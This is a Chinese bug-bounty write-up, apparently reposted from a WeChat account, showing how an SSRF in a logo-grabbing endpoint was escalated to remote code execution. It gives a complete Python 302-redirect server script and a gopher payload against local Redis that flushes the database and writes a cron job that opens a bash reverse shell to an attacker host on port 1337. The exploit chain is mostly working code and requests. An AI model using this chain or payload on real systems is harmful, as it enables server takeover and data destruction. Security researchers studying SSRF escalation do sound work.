0x01、信息搜集
通常,对于一个大范围的漏洞奖励程序,我会从子域枚举/爆破开始,以增加我的攻击面,我会用ffuf进行模糊测试,遗憾的是并没有收获。
0x02、SSRF
在测试了web app的功能后,我开始翻看代理日志中存储的请求,发现了类似这样的请求:
GET /logoGrabber?url=http://example.com
Host: example.com
...
它返回了目标的title等URL的页面信息。
我可以与我的服务器进行交互,但没有探测到任何内网ip。这里我通过自己写的脚本爆破出来一些内网url。网上很多工具如FuzzDomain等很多工具都可以实现。不一一列举。
在自己浏览器访问超时,提交
GET /logoGrabber?url=http://*.target.com
主机:example.com
...
返回信息
{"responseTime":"9ms","grabbedUrl":"http://*.target.com","urlInfo":{"pageTitle":"内部页面标题","pageLogo":"http://*.target.com/logos/logo.png"}}
0x02、RCE
这点危害明显不够审核喝一壶的,所以我又测试了gopher协议 如下请求。
GET /logoGrabber?url=gopher://myburpcollaboratorurl
主机:example.com
...
Burp并没有反应,不知道是否支持gopher协议。
所以我决定尝试一下常规302绕过
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def send_error(self, code, message=None):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
python3 302redirect.py port "http://mycollaboratorurl/"
发包,成功收到
GET /logoGrabber?url=http://my302redirectserver/
主机:example.com
...
于是我换成gopher协议,再次发包。成功收请求。
我尝试了127.0.0.1的各种端口 如3306.6379,10050等
(gopher://127.0.0.1:port) 继续上述的请求发包。
//127.0.0.1:3306 超时 :
//127.0.0.1:25 超时 :
//127.0.0.1:6379 打开 :
生成Redis反弹shell的payload
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
监听1337端口,运行脚本。
python3 302redirect.py port " gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A% 241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh% 20-i%20%3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A %0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig
% 0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redi
s%0D%0A%2A4%0D%0A%246%0D% 0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D% 0A%0A”
发包
GET /logoGrabber?url=http://my302redirectserver/
主机:example.com
..
下机
新人号主,大家多多担待。昨天看到私信有人说我水的。确实比较水哈,还是学生 大佬轻喷。个人有知识星球,主要针对基础薄弱的,会分享实战经验以及其它内容。试运营内容比较水,就不放出来挨喷了。如果有考虑好想要加的 可以私信我。Over
原文始发于微信公众号(漏洞之星):SSRF To RCE